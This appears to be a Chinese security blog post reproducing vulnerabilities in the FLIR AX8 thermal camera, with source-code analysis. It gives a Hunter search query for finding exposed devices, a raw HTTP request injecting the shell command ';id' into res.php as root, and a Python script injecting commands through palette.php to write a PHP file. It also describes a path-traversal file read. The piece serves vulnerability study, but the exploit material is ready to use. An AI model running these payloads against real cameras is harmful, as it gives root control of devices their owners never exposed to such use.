FLIR-AX8热成像仪多个漏洞复现+代码分析

学习出处:道一安全大佬的博客

hunter语法

web.icon=="f4370ff0b4763e18159cd7cdf36a4542"

漏洞描述:

    1.46.16 及以下未经身份验证的远程操作系统命令注入漏洞。res.php 页面中的 id 参数可以通过命令拼接,以 root 用户身份注入和执行任意 shell 命令,成功的利用可能允许攻击者以 root 权限在底层操作系统上执行任意命令。

漏洞复现:

payload:

POST /res.php HTTP/1.1Host: xx.xx.xx.xxUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: theme=light; distanceUnit=metric; temperatureUnit=celsius; showCameraId=false; clientTimeZoneOffset=-480; clientTimeZoneDST=0; PHPSESSID=8ff0e4065c8a04d1894ddde494f0fe8dUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 25
action=node&resource=1;id

源码分析:

先看下res.php的代码

 如果action参数为get的话,会走到第一个case里面,然后判断resource参数是否提交,如果提交了则进入开始判断resource参数内容,如果没有的话直接break跳出判断。

然后看下这三个判断,前两个是判断文件是否存在,且没有可控参数,第三个判断用shell_exec函数执行了一条命令,后面拼接了resource参数,而且最后一个是default,只要不符合前两个case的话,就会走到这里,所以这里直接输入;id即可。

后面的代码也都和这个差不多,都按照这个思路去看就行,如果有看不明白的可以留言或者私信。

在 www 目录下 palette.php 程序接收 POST 方法请求,若存在 palette 参数,程序会将palette 的值与 LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/palette 拼接执行,若 palette 包含命令截断符,会造成命令注入。。

漏洞复现:

import requestsimport sysimport urllib3# disable https not verify warningurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def verify(url):
    try:            target_url = url + "/palette.php"        data = {            'palette' : "1;  echo '<?php phpinfo(); ?>' > temp.php",        }                headers = {            'Host': url.strip("http://").strip("https://"),            'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',        }                response = requests.post(target_url,                                 verify=False,                                 data=data,                                 headers=headers)
        print(response.text)
    except Exception as e:        print(e)
if __name__ == '__main__':    url = 'x.x.x.x'    verify(url=url)

试了下,应该是没有回显,先不管这个了,分析一下源码

这个就是先判断一下palette参数是否传递,如果传递的话下面执行命令然后拼接参数,然后没有输出命令结果。

这个漏洞是我自己找到的,后面我搜了下,有人先发出来了,我就不复制网上其他的介绍了,直接看下源码吧

漏洞位置在这里,先从头看下源码有没有什么其他限制

先看下第18行代码,这里判断了file参数是否提交,现在burp这边把file参数写上,防止后面忘记了

接下来是这三个地方接收了数据,第一个参数是文件名第二个是类型,第三个不知道干什么的,但是用三目运算符判断了一下,然后看下49行代码,这里判断了$is_attachment参数是否为真,如果为真的话这里是设置header头,问题不大,不耽误文件读取。

然后type那个参数我搜了一下没有地方用到这个,所以这个不用管了

然后继续看下面的代码,判断文件类型,然后设置响应头等内容

大概看了一眼,没有过滤../和文件类型,直接发包看下

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值